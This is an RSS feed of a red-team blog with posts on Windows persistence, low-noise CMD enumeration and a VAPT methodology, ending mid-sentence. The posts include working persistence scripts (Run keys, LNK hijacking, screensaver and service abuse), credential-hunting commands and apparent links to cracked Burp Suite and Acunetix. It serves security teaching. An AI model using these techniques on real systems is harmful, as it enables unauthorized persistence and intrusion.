<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ayushmohansah on Medium]]></title>
        <description><![CDATA[Stories by Ayushmohansah on Medium]]></description>
        <link>https://medium.com/@ayushmohansah?source=rss-512865c0ecbb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*q0q26v-_JP_y-5Sc</url>
            <title>Stories by Ayushmohansah on Medium</title>
            <link>https://medium.com/@ayushmohansah?source=rss-512865c0ecbb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 14:59:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ayushmohansah/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Multiple Ways to Achieve Windows Persistence]]></title>
            <link>https://medium.com/@ayushmohansah/multiple-ways-to-achieve-windows-persistence-e8b22943dd26?source=rss-512865c0ecbb------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8b22943dd26</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Ayushmohansah]]></dc:creator>
            <pubDate>Sat, 25 Jul 2026 18:13:20 GMT</pubDate>
            <atom:updated>2026-07-25T18:13:20.100Z</atom:updated>
            <content:encoded><![CDATA[<p>This blog discusses several Windows persistence techniques that can be used after gaining initial access, before your C2 callback dies on you (and before you can blame the payload developer). Some of these techniques require privilege escalation to a local Administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/0*FilkJjfBPppIldQ4.jpg" /></figure><h3>Let’s begin!</h3><h3>Method 1 — REGISTRY KEY</h3><p>A Windows Registry run key is a specific location in the Windows Registry (HKLM or HKCU) that automatically launches programs, scripts, or commands whenever a user logs in or the system starts. These keys are widely used for legitimate application startup tasks but are also commonly exploited by malicious software to maintain persistence.</p><p>HOW TO DO -<br>1. In CMD Prompt type regedit<br>2. Find location Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run or RunOnce<br>3. Add the path to exe you want persistence for (inside run for running every time on logon and Run once for just once it deletes afterwards you may create a script called once that executes the exe and adds to run once again after a time delay)</p><p>Additionally — Keys can be set for the specific user (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run) or for the machine (HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run), affecting all users.</p><p>COMMAND-</p><pre>reg add &quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Run&quot; /v EdgeMSProcess /t REG_SZ /d &quot;PATH TO EXE&quot; /f</pre><h3>Method 2 — STARTUP FOLDER</h3><p>Windows startup folder persistence is a technique where malicious programs or scripts are placed into a specific Windows folder, ensuring they automatically execute every time a user logs in. It is a common, low-privilege method for maintaining long-term access to a system, allowing malware to survive reboots</p><p>HOW TO DO -<br>1. Do win+r then enter for Individual User: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup and for System-wide: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup<br>2. Place shortcuts, malicious executable binaries, or scripts (e.g., .bat, .ps1, .vbs) in these folders. <br>3. runs whenever system startup (pro it supports direct shortcuts and hidden from general user)</p><p>COMMAND-</p><pre># Current user<br>Copy-Item &quot;&lt;PAYLOAD_PATH&gt;&quot; `<br> &quot;$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\&lt;FILENAME&gt;&quot;<br># System-wide (Administrator required)<br>Copy-Item &quot;&lt;PAYLOAD_PATH&gt;&quot; `<br> &quot;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\&lt;FILENAME&gt;&quot;</pre><h3>Method 3 — Scheduled Tasks</h3><p>Scheduled Tasks persistence is a technique used by threat actors to ensure their malicious code automatically executes at predetermined times or in response to specific events (like system startup or user logon). By abusing the built-in Windows Task Scheduler, attackers can maintain a long-term foothold on a compromised system, ensuring their malware survives reboots and user logoffs without needing to re-exploit the machine.</p><p>HOW TO DO-</p><p>Method 1: Using the Task Scheduler (GUI) <br>This is the most common method for manual setups.<br> 1. Open Task Scheduler: Press the Windows Key, type “Task Scheduler,” and hit Enter.<br> 2. Create Basic Task: In the “Actions” pane on the right, click Create Basic Task….<br> 3. Name &amp; Description: Enter a name (e.g., “Daily Script”) and click Next.<br> 4. Set Trigger: Choose how often the task should run (e.g., Daily, At log on, or When the computer starts).<br> 5. Select Action: Choose Start a program and click Next.<br> 6. Pick Program: Click Browse to select your executable or script (e.g., C:\path\to\script.exe).<br> 7. Finish: Review your settings and click Finish.</p><p>Method 2: Using Command Prompt (schtasks)<br>Use this for automation or if you prefer the command line. Open Command Prompt as Administrator.</p><p>1. Run a program daily at a specific time:<br> schtasks /create /tn “MyTask” /tr “C:\path\to\app.exe” /sc daily /st 09:00<br> 2. Run at system startup:<br> schtasks /create /tn “StartupTask” /tr “C:\path\to\app.exe” /sc onstart<br> 3. Run as the SYSTEM account (Highest Privileges):<br> schtasks /create /tn “AdminTask” /tr “C:\path\to\app.exe” /sc hourly /ru SYSTEM</p><p>Method 3: Using PowerShell<br>PowerShell offers more granular control for advanced users.</p><p>1. Define Action: $action = New-ScheduledTaskAction -Execute “PowerShell.exe” -Argument “C:\Scripts\Task.ps1”<br> 2. Define Trigger: $trigger = New-ScheduledTaskTrigger -AtLogOn (or -Daily -At 3am)<br> 3. Register Task: Register-ScheduledTask -Action $action -Trigger $trigger -TaskName “MyPowerShellTask”</p><h3>Method 4 — LNK MODIFICATION</h3><p>Shortcut (LNK) Modification is a persistence technique where an attacker changes the target path of a legitimate Windows shortcut (.lnk file) to execute malicious code alongside or instead of the intended application.By hijacking shortcuts that users click frequently (like a web browser or office app), attackers ensure their malware runs every time the user interacts with the system.<br>there are a few ways/type we can do it-<br>1. Target Redirection<br>2. Masquerading<br>3. UI Deception</p><p>HOW TO DO-<br>1. Target Redirection</p><pre>==========================================================================================<br>====================================LNK EDITOR SCRIPT=====================================<br>==========================================================================================<br>@echo off<br>setlocal enabledelayedexpansion<br><br>REM =====================================================<br>REM STEP 1 — Detect real Desktop (KEEP THIS - important)<br>REM =====================================================<br>for /f &quot;delims=&quot; %%D in (&#39;powershell -NoProfile -Command &quot;[Environment]::GetFolderPath(&#39;Desktop&#39;)&quot;&#39;) do set &quot;DESKTOP=%%D&quot;<br><br>echo Detected Desktop: %DESKTOP%<br><br>REM =====================================================<br>REM STEP 2 — Find FIRST .lnk file on Desktop<br>REM =====================================================<br>for /f &quot;delims=&quot; %%F in (&#39;dir &quot;%DESKTOP%\*.lnk&quot; /b 2^&gt;nul&#39;) do (<br>    set &quot;DEST=%DESKTOP%\%%F&quot;<br>    goto FOUND<br>)<br><br>echo No shortcut (.lnk) files found on Desktop<br>pause<br>exit /b<br><br>:FOUND<br>echo Selected shortcut: %DEST%<br><br>REM =====================================================<br>REM STEP 3 — Target configuration (your custom behavior)<br>REM =====================================================<br>set &quot;TARGET=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe&quot;<br>set &quot;ARGS=https://google.com&quot;<br>set &quot;WORKDIR=C:\Program Files (x86)\Microsoft\Edge\Application&quot;<br><br>REM =====================================================<br>REM STEP 4 — Modify shortcut safely<br>REM =====================================================<br>powershell -NoProfile -ExecutionPolicy Bypass -Command ^<br>&quot;$path=&#39;%DEST%&#39;; ^<br>$wsh=New-Object -ComObject WScript.Shell; ^<br>$sc=$wsh.CreateShortcut($path); ^<br>$sc.TargetPath=&#39;%TARGET%&#39;; ^<br>$sc.Arguments=&#39;%ARGS%&#39;; ^<br>$sc.WorkingDirectory=&#39;%WORKDIR%&#39;; ^<br>$sc.Save(); ^<br>Write-Host &#39;UPDATED SHORTCUT:&#39; $path&quot;<br><br>REM =====================================================<br>REM STEP 5 — Launch shortcut<br>REM =====================================================<br>start &quot;&quot; &quot;%DEST%&quot;<br><br>exit<br>==========================================================================================<br>========================================CALLSCRIPT========================================<br>==========================================================================================<br>@echo off<br>setlocal<br><br>REM === Paths ===<br>set &quot;APP=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe&quot;<br>set &quot;SCRIPT=C:\Users\charl\OneDrive\Documents\cal.bat&quot;<br><br>REM === Launch EXE minimized ===<br>start &quot;&quot; /min &quot;%APP%&quot;<br><br>REM === Run PowerShell hidden ===<br>start &quot;&quot; /min cmd /c &quot;%SCRIPT%&quot;<br><br>exit<br>==========================================================================================<br>==========================================================================================</pre><h3>Method 5 — SCREEN SAVER</h3><p>Attackers modify specific registry keys to point the system to their malicious payload. When the user is away and the “inactivity timeout” is reached, Windows automatically launches the attacker’s file.<br>All relevant settings are located in: HKEY_CURRENT_USER\Control Panel\Desktop</p><p>HOW TO DO-(script explanation)</p><pre>@echo off<br>:: --- CONFIGURATION (PLACEHOLDERS) ---<br>:: Set the full path to your executable or script<br>SET &quot;PAYLOAD_PATH=C:\path\to\your\payload.exe&quot;<br><br>:: Set the inactivity timeout in seconds (e.g., 60 = 1 minute)<br>SET &quot;TIMEOUT=60&quot;<br><br>:: Set password protection on wakeup (1 = Yes, 0 = No)<br>SET &quot;SECURE=0&quot;<br>:: ------------------------------------<br><br>echo Setting up Screen Saver persistence...<br><br>:: 1. Define the executable to run as the screen saver<br>reg add &quot;HKCU\Control Panel\Desktop&quot; /v SCRNSAVE.EXE /t REG_SZ /d &quot;%PAYLOAD_PATH%&quot; /f<br><br>:: 2. Ensure the screen saver feature is turned on<br>reg add &quot;HKCU\Control Panel\Desktop&quot; /v ScreenSaveActive /t REG_SZ /d &quot;1&quot; /f<br><br>:: 3. Set the idle timeout period<br>reg add &quot;HKCU\Control Panel\Desktop&quot; /v ScreenSaveTimeout /t REG_SZ /d &quot;%TIMEOUT%&quot; /f<br><br>:: 4. Set whether the workstation locks on resume<br>reg add &quot;HKCU\Control Panel\Desktop&quot; /v ScreenSaverIsSecure /t REG_SZ /d &quot;%SECURE%&quot; /f<br><br>echo.<br>echo Configuration Complete. <br>echo The payload will execute after %TIMEOUT% seconds of inactivity.<br>pause</pre><p>COMMAND-</p><pre>reg add &quot;HKCU\Control Panel\Desktop&quot; /v SCRNSAVE.EXE /t REG_SZ /d &quot;C:\path\to\malware.exe&quot; /f</pre><h3>Method 6 — WINDOWS SERVICES</h3><p>Windows Services are persistent background processes managed by the Service Control Manager (SCM). Attackers and red-teamers use them because services can:<br>Run at boot (start=auto) , Operate under elevated privileges (LocalSystem) , Survive user logon/logoff</p><p>Abuse vectors:<br>Create new malicious service , Hijack existing service binaries , Exploit unquoted service paths , Replace weak or misconfigured service executables</p><p>Requirements:<br>Administrator privileges required , Service binary must exist on disk , Works across reboots , Typical registry path:</p><p>HOW TO DO-</p><pre># ========================================<br># CONFIGURATION<br># ========================================<br><br>$ServiceName = &quot;LabHelper&quot;                       # Lab-safe service name<br>$DisplayName = &quot;Lab Helper Service&quot;             # Service display name<br>$BinaryPath = &quot;C:\Windows\System32\notepad.exe&quot; # Payload for lab testing<br><br># ========================================<br># CREATE SERVICE<br># ========================================<br>New-Service -Name $ServiceName -BinaryPathName $BinaryPath -DisplayName $DisplayName -StartupType Automatic<br><br># ========================================<br># DELAYED START (Simulate installer behavior)<br># ========================================<br>Start-Sleep -Seconds 60<br><br># ========================================<br># START SERVICE<br># ========================================<br>Start-Service $ServiceName<br><br># ========================================<br># OPTIONAL: SIGN BINARY FOR LAB SIMULATION<br># ========================================<br># Generate self-signed certificate (lab only)<br>#$cert = New-SelfSignedCertificate -Type CodeSigningCert -Subject &quot;CN=LabPayload&quot; -KeyExportPolicy Exportable -CertStoreLocation Cert:\CurrentUser\My<br>#Set-AuthenticodeSignature -FilePath $BinaryPath -Certificate $cert<br><br># Verification<br>Get-Service -Name $ServiceName</pre><p>COMMAND-</p><pre>sc create LabHelper binPath= &quot;C:\Windows\System32\notepad.exe&quot; start= auto &amp;&amp; timeout /t 60 &amp;&amp; sc start LabHelper</pre><p>REMOVAL-</p><pre># ========================================<br># CONFIGURATION<br># ========================================<br>$ServiceName = &quot;LabHelper&quot;  # Name of service to remove<br><br># ========================================<br># STOP SERVICE<br># ========================================<br>if (Get-Service -Name $ServiceName -ErrorAction SilentlyContinue) {<br>    Stop-Service -Name $ServiceName -Force<br>    Write-Host &quot;Service stopped.&quot;<br>} else {<br>    Write-Host &quot;Service not found, skipping stop.&quot;<br>}<br><br># ========================================<br># DELETE SERVICE<br># ========================================<br>if (Get-Service -Name $ServiceName -ErrorAction SilentlyContinue) {<br>    sc.exe delete $ServiceName<br>    Write-Host &quot;Service deleted.&quot;<br>} else {<br>    Write-Host &quot;Service not found, skipping delete.&quot;<br>}<br><br># ========================================<br># CLEAN REGISTRY ENTRIES (Optional)<br># ========================================<br>$regPath = &quot;HKLM:\SYSTEM\CurrentControlSet\Services\$ServiceName&quot;<br>if (Test-Path $regPath) {<br>    Remove-Item -Path $regPath -Recurse -Force<br>    Write-Host &quot;Registry entries removed.&quot;<br>} else {<br>    Write-Host &quot;Registry entries not found.&quot;<br>}<br><br># ========================================<br># CLEANUP PAYLOAD (Optional)<br># ========================================<br>$BinaryPath = &quot;C:\Windows\System32\notepad.exe&quot;<br>if (Test-Path $BinaryPath) {<br>    # Only remove if it&#39;s a lab-specific payload<br>    # Remove-Item -Path $BinaryPath -Force<br>    Write-Host &quot;Payload exists at $BinaryPath (remove manually if lab payload).&quot;<br>}</pre><h3>THANKS FOR THE READ AMIGOS!!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8b22943dd26" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows CMD-Only Low-Noise Enumeration]]></title>
            <link>https://medium.com/@ayushmohansah/windows-cmd-only-low-noise-enumeration-82d5741230c5?source=rss-512865c0ecbb------2</link>
            <guid isPermaLink="false">https://medium.com/p/82d5741230c5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Ayushmohansah]]></dc:creator>
            <pubDate>Fri, 05 Jun 2026 15:56:13 GMT</pubDate>
            <atom:updated>2026-06-05T15:56:13.710Z</atom:updated>
            <content:encoded><![CDATA[<p>Windows CMD-Only Low-Noise Enumeration Handbook</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*i97Sp02X9s4p36Vmjx-S3Q.gif" /></figure><p><strong>Introduction</strong></p><p>This handbook is designed for authorized security assessments and red-team engagements. The objective is to maximize situational awareness while minimizing telemetry. Rather than executing large automated collectors, operators gather only the information required to make the next decision. The methodology focuses on CMD.exe and native Windows binaries.</p><p><strong>Core Philosophy</strong></p><p>Good operators do not collect data because it exists. They collect data that changes decisions. Every command should answer a question: Who am I? What can I access? Where can I move? What can I abuse? What should I investigate next? Enumeration should support privilege escalation, credential access, lateral movement, and persistence.</p><p><strong>Phase 1 — Identity Enumeration</strong></p><pre>whoami <br>whoami /groups <br>whoami /priv</pre><p><strong>Phase 2 — Host Enumeration</strong></p><pre>hostname <br>ver<br>systeminfo<br>wmic os get caption,version,buildnumber</pre><p><strong>Phase 3 — Domain Awareness</strong></p><pre>echo %USERDOMAIN% <br>echo %LOGONSERVER% <br>set l <br>nltest /dsgetdc:domain</pre><p><strong>Phase 4 — Network Enumeration</strong></p><pre>ipconfig /all <br>route print <br>arp -a <br>netstat -ano</pre><p><strong>Phase 5 — User Enumeration</strong></p><pre>net user <br>query user <br>qwinsta</pre><p><strong>Phase 6 — Local Group Enumeration</strong></p><pre>net localgroup <br>net localgroup administrators <br>net localgroup &#39;Remote Desktop Users&#39;</pre><p><strong>Phase 7 — Active Directory Enumeration</strong></p><pre>net group &#39;Domain Admins&#39; /domain <br>net group &#39;Enterprise Admins&#39; /domain <br>net group &#39;Domain Computers&#39; /domain <br>net accounts /domain</pre><p><strong>Phase 8 — Share Enumeration</strong></p><pre>net share <br>net view <br>net view /domain</pre><p><strong>Phase 9 — Service Enumeration</strong></p><pre>sc query <br>sc qc ServiceName</pre><p><strong>Phase 10 — Scheduled Tasks</strong></p><pre> schtasks /query /fo LIST /v</pre><p><strong>Phase 11 — Credential Hunting</strong></p><pre>cmdkey /list <br>vaultcmd /list reg query HKLM</pre><p><strong>Phase 12 — Internet and Connectivity Validation</strong></p><pre>ping 8.8.8.8 <br>ping google.com</pre><p><strong>Phase 13 — Building a Pivot Map</strong></p><p>Use information already collected. From ARP: Identify active hosts. From Netstat: Identify active relationships. From Shares: Identify file servers. From Domain Data: Identify controllers and administrative systems. Construct a target map before touching additional hosts</p><p><strong>Decision Matrix</strong></p><p>Finding: SeBackupPrivilege &gt;&gt; Action: Investigate backup abuse opportunities.</p><p>Finding: Domain Controller identified &gt;&gt; Action: Begin focused domain reconnaissance.</p><p>Finding: Privileged user session &gt;&gt; Action: Investigate authentication exposure.</p><p>Finding: Interesting share &gt;&gt; Action: Search for credentials and configuration data.</p><p>Finding: Service account &gt;&gt; Action: Investigate permissions and associated services.</p><p>Finding: Administrative group membership &gt;&gt; Action: Validate escalation opportunities.</p><p><strong>Common Mistakes</strong></p><ol><li>Running automated collectors immediately.</li><li>Collecting data with no purpose.</li><li>Ignoring privileges.</li><li>Ignoring routing information.</li><li>Failing to identify domain controllers early.</li><li>Missing active user sessions.</li><li>Generating unnecessary network traffic</li></ol><p><strong>Final Thoughts</strong></p><p>Low-noise enumeration is a mindset rather than a command list. The goal is not to collect everything. The goal is to identify the shortest, most reliable path toward escalation and pivoting. Native CMD commands remain powerful because they are universally available, operationally simple, and often blend into normal administrative activity better than large automated collectors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82d5741230c5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Comprehensive VAPT Methodology Applied in Practical Security Assessments]]></title>
            <link>https://medium.com/@ayushmohansah/a-comprehensive-vapt-methodology-applied-in-practical-security-assessments-20057a71112d?source=rss-512865c0ecbb------2</link>
            <guid isPermaLink="false">https://medium.com/p/20057a71112d</guid>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[methodology]]></category>
            <category><![CDATA[vapt]]></category>
            <dc:creator><![CDATA[Ayushmohansah]]></dc:creator>
            <pubDate>Thu, 26 Mar 2026 14:24:48 GMT</pubDate>
            <atom:updated>2026-03-26T14:24:48.449Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PvlMtiO60AlpalIb" /></figure><h3>Introduction</h3><p>Vulnerability Assessment and Penetration Testing (VAPT) is often misunderstood by beginners as simply running automated scanners.<br>In reality, professional security assessments follow a structured methodology that combines reconnaissance, enumeration, vulnerability discovery, exploitation, and impact analysis. We are gonna kill it phase-wise. Also, I have attached some sources to refer to at the end of this blog.</p><h3># Phase 0 — Engagement Kickoff &amp; Preparation</h3><p>Goal:<em> Establish legal authorization, define scope boundaries, and ensure operational readiness before starting testing.</em></p><h4>Establish legal authorization, scope boundaries, and operational readiness before testing begins.</h4><p>Key activities:</p><ul><li>scope definition</li><li>allowed techniques</li><li>rules of engagement</li><li>testing window</li><li>IP whitelisting</li><li>environment preparation</li></ul><pre>Burpsuite pro - https://github.com/xiv3r/Burpsuite-Professional<br><br>Acunetix pro - https://youtu.be/jPQ3TD73hrI?si=u2MW-B_Q9hUZIRvt<br>https://drive.google.com/file/d/1-JTJzE6KBCejtwbLJ4zhniVQpYve1qMz/view?usp=sharing</pre><h3># Phase 1 — Passive Reconnaissance (OSINT)</h3><p>Passive reconnaissance is the <strong>first technical phase of a VAPT engagement</strong>.<br>In this stage, the tester gathers intelligence <strong>without directly interacting with the target infrastructure</strong>.</p><p>This phase helps answer several key questions:</p><ul><li>What assets belong to the organization?</li><li>What infrastructure is publicly exposed?</li><li>What technologies are being used?</li><li>What historical or leaked data may exist?</li></ul><p>Unlike active scanning, passive reconnaissance <strong>does not send intrusive traffic to the target systems</strong>. Instead, it relies on publicly available information, threat intelligence platforms, and historical records.</p><p>The output of this phase should provide:</p><pre>• Root domains<br>• Subdomains<br>• DNS records<br>• Infrastructure ownership<br>• Technology stack<br>• Email formats<br>• Historical assets<br>• Potential credential leaks</pre><h3>1.1 Domain &amp; DNS Intelligence</h3><p>The first step in reconnaissance is identifying <strong>the organization’s domain footprint and DNS configuration</strong>.</p><p>This helps reveal:</p><ul><li>subdomains</li><li>mail servers</li><li>DNS infrastructure</li><li>certificate transparency records</li><li>CDN or proxy usage</li></ul><p>These discoveries form the <strong>foundation of the entire attack surface</strong>.</p><h3>Tools Used</h3><p>Typical platforms and tools include:</p><ul><li>SecurityTrails</li><li>DNSDumpster</li><li>Netcraft</li><li>Pentest-Tools DNS lookup</li><li>crt.sh</li><li>Shodan</li><li>dig or google toolbox if you want a web interface</li><li>nslookup</li><li>whois</li><li>dnsrecon</li></ul><h3>Identify</h3><p>During DNS intelligence gathering, attempt to identify:</p><pre>• Root domain<br>• Subdomains<br>• MX records<br>• NS records<br>• TXT records<br>• Historical SSL certificates<br>• DNS provider<br>• CDN or proxy infrastructure</pre><h3>Command-Line Enumeration</h3><h3>WHOIS Lookup</h3><p>WHOIS reveals domain ownership details and registrar information.</p><pre>whois example.com</pre><p>Useful information may include:</p><pre>Registrar<br>Name servers<br>Registration dates<br>Administrative contacts</pre><h3>DNS Record Enumeration</h3><p>Use <strong>dig</strong> to retrieve DNS records.</p><pre>dig example.com</pre><p>Query specific record types:</p><pre>dig example.com MX<br>dig example.com NS<br>dig example.com TXT<br>dig example.com ANY</pre><p>Example:</p><pre>dig example.com MX +short</pre><p>This returns mail servers used by the organization.</p><h3>Using nslookup</h3><p>Another DNS querying tool:</p><pre>nslookup example.com</pre><p>Query mail servers:</p><pre>nslookup -query=MX example.com</pre><p>Query name servers:</p><pre>nslookup -query=NS example.com</pre><h3>Automated DNS Enumeration</h3><p>Use <strong>dnsrecon</strong> to perform automated enumeration.</p><pre>dnsrecon -d example.com</pre><p>Brute forcing subdomains:</p><pre>dnsrecon -d example.com -D wordlist.txt -t brt</pre><p>This may reveal hidden subdomains.</p><h3>Certificate Transparency Enumeration</h3><p>Certificate logs often reveal <strong>additional subdomains</strong>.</p><p>Search:</p><pre>https://crt.sh/?q=%25.example.com</pre><p>Look for:</p><pre>dev.example.com<br>staging.example.com<br>vpn.example.com<br>mail.example.com<br><br>These are frequently missed during normal DNS lookups.</pre><h3>Cross Verification</h3><p>Always verify results across multiple sources:</p><ul><li>SecurityTrails</li><li>Netcraft</li><li>crt.sh</li><li>DNS queries</li></ul><p>Many tools <strong>miss subdomains</strong>, so combining sources improves coverage.</p><h3>1.2 Infrastructure &amp; ASN Mapping</h3><p>After identifying domains, the next step is mapping <strong>the organization’s infrastructure ownership</strong>.</p><p>Organizations often control <strong>IP ranges associated with their Autonomous System Number (ASN)</strong>.</p><p>This allows testers to discover:</p><pre>• IP ranges owned by the organization<br>• hosting providers<br>• exposed services<br>• shadow infrastructure</pre><h3>Tools Used</h3><p>Common platforms include:</p><ul><li>Shodan</li><li>Censys</li><li>BGP.he.net</li><li>DNSDumpster</li><li>ASN-to-CIDR mapping services</li></ul><h3>Identify</h3><p>Focus on identifying:</p><pre>• ASN number<br>• CIDR ranges<br>• hosting providers<br>• internet-facing services</pre><h3>Example Workflow</h3><h3>Find ASN Information</h3><p>Search the domain in BGP databases:</p><pre>https://bgp.he.net/</pre><p>Example result:</p><pre>AS13335<br>AS16509</pre><h3>Convert ASN to CIDR Ranges</h3><p>Once the ASN is known, determine associated IP ranges.</p><p>Example output:</p><pre>104.16.0.0/13<br>172.64.0.0/13</pre><p>These ranges may belong to the target organization.</p><h3>Investigate IP Ranges</h3><p>Query Shodan for exposed services:</p><pre>org:&quot;Example Company&quot;</pre><p>or</p><pre>net:104.16.0.0/13</pre><p>Shodan may reveal:</p><pre>open ports<br>web servers<br>VPN gateways<br>RDP services<br>IoT devices</pre><p>Note:</p><p>Shodan and Censys results must be <strong>validated during active reconnaissance later</strong>.</p><h3>1.3 Technology Stack Identification</h3><p>Understanding the technology stack helps guide later testing.</p><p>For example:</p><pre>Apache + PHP → LFI, upload issues<br>Node.js → API vulnerabilities<br>WordPress → plugin vulnerabilities</pre><h3>Tools Used</h3><p>Typical tools include:</p><ul><li>Wappalyzer</li><li>BuiltWith</li><li>WhatWeb</li></ul><h3>Command-Line Fingerprinting</h3><h3>Using WhatWeb</h3><p>WhatWeb can identify web technologies automatically.</p><pre>whatweb https://example.com</pre><p>Example output:</p><pre>Apache<br>PHP<br>WordPress<br>jQuery<br>Cloudflare</pre><h3>HTTP Header Analysis</h3><p>Headers often reveal server technologies.</p><p>Using curl:</p><pre>curl -I https://example.com</pre><p>Example response:</p><pre>Server: nginx<br>X-Powered-By: PHP/8.1</pre><h3>Using wget</h3><p>Headers can also be inspected with wget.</p><pre>wget --server-response --spider https://example.com</pre><h3>Browser Developer Tools</h3><p>Inspect:</p><pre>• Network responses<br>• JavaScript libraries<br>• cookies<br>• API endpoints</pre><p>This often reveals hidden frameworks.</p><h3>1.4 Email &amp; Credential OSINT</h3><p>Email enumeration helps understand:</p><pre>• employee structure<br>• email naming conventions<br>• potential credential leaks</pre><p>It also assists in:</p><pre>phishing simulations<br>password spraying<br>identity enumeration</pre><h3>Tools Used</h3><p>Common tools include:</p><ul><li>Google dorking</li><li>Hunter.io</li><li>Apollo.io</li><li>IntelX</li><li>HaveIBeenPwned</li><li>linkedin2username (there are other resources as well loike snurfbase)</li><li>Hudson Rock</li><li>theHarvester</li></ul><h3>Email Enumeration</h3><p>Example using <strong>theHarvester</strong>:</p><pre>theHarvester -d example.com -b all</pre><p>Example sources:</p><pre>Google<br>Bing<br>LinkedIn<br>PGP key servers</pre><h3>LinkedIn Enumeration</h3><p>Employee lists can be converted into username formats.</p><p>Example:</p><pre>linkedin2username -u https://linkedin.com/company/example -c 200</pre><p>This generates potential username lists.</p><h3>Breach Data Search</h3><p>Check if credentials appear in breaches.</p><p>Search using:</p><ul><li>HaveIBeenPwned</li><li>IntelX</li><li>Hudson Rock</li><li>appolo.io</li><li>hunter.io</li></ul><p>Example:</p><pre>email@example.com</pre><p>Possible findings:</p><pre>password hashes<br>credential leaks<br>old passwords</pre><p>Only passive verification should be performed at this stage.</p><h3>1.5 Historical Presence &amp; Legacy Exposure</h3><p>Many organizations <strong>remove applications but forget to disable endpoints</strong>.</p><p>Historical archives can reveal:</p><pre>• legacy admin panels<br>• old APIs<br>• deprecated login portals<br>• forgotten subdomains</pre><h3>Tools Used</h3><ul><li>Wayback Machine</li><li>Common Crawl</li><li>Internet Archive</li><li>Time machine</li></ul><h3>Extract Historical URLs</h3><p>Example search:</p><pre>https://web.archive.org/web/*/example.com</pre><p>Look for paths such as:</p><pre>/admin<br>/backup<br>/api/v1<br>/staging<br>/dev</pre><p>These endpoints may still exist.</p><h3>Correlate With Current Assets</h3><p>Combine:</p><pre>historical URLs<br>current subdomain list<br>active endpoints</pre><p>Legacy endpoints often lead to <strong>high-impact vulnerabilities</strong>.</p><h3>1.6 Cloud &amp; SaaS Footprint Identification</h3><p>Many organizations rely heavily on cloud infrastructure.</p><p>Typical services include:</p><pre>AWS<br>Azure<br>Google Cloud<br>Auth0<br>Stripe<br>CRM systems</pre><p>Identifying cloud infrastructure helps reveal:</p><pre>storage buckets<br>API gateways<br>serverless functions<br>authentication providers</pre><h3>Tools Used</h3><ul><li>Shodan</li><li>Censys</li><li>GitHub search</li><li>Google dorking</li></ul><h3>Example Searches</h3><p>Search GitHub for exposed references:</p><pre>&quot;example.com&quot; aws<br>&quot;example.com&quot; api_key<br>&quot;example.com&quot; secret</pre><p>Google dorks:</p><pre>site:github.com &quot;example.com&quot;<br>site:pastebin.com &quot;example.com&quot;</pre><h3>1.7 Public Code &amp; Configuration Leakage</h3><p>Developers sometimes accidentally publish <strong>internal code or configuration files</strong>.</p><p>These may expose:</p><pre>API keys<br>database credentials<br>internal endpoints<br>configuration secrets</pre><h3>Tools Used</h3><p>Typical tools include:</p><ul><li>TruffleHog</li><li>Gitrob</li><li>Gato</li><li>BBOT</li></ul><h3>GitHub Secret Scanning</h3><p>Example:</p><pre>trufflehog https://github.com/example/repository</pre><p>This scans commit history for:</p><pre>API keys<br>private tokens<br>AWS credentials<br>passwords</pre><h3>What to Look For</h3><p>Common secrets:</p><pre>AWS_ACCESS_KEY<br>DB_PASSWORD<br>JWT_SECRET<br>API_KEY</pre><p>Also check for:</p><pre>internal IP addresses<br>private repositories<br>configuration files</pre><h3>Output of Phase 1</h3><p>By the end of Passive Reconnaissance, you should have collected:</p><pre>• root domains<br>• subdomains<br>• DNS records<br>• ASN and infrastructure mapping<br>• technology stack<br>• email patterns<br>• leaked credentials (if any)<br>• historical endpoints<br>• potential cloud infrastructure<br>• publicly exposed code or secrets</pre><p>This information becomes the <strong>foundation for Phase 2 — Active Reconnaissance and Enumeration</strong>, where discovered assets are validated and expanded.</p><h3>_&gt; Engagement Strategy &amp; Operator Notes</h3><p>A structured VAPT methodology should not be treated as a rigid checklist where every step is executed blindly. In real-world engagements, efficiency, stealth, and decision-making play a critical role in determining 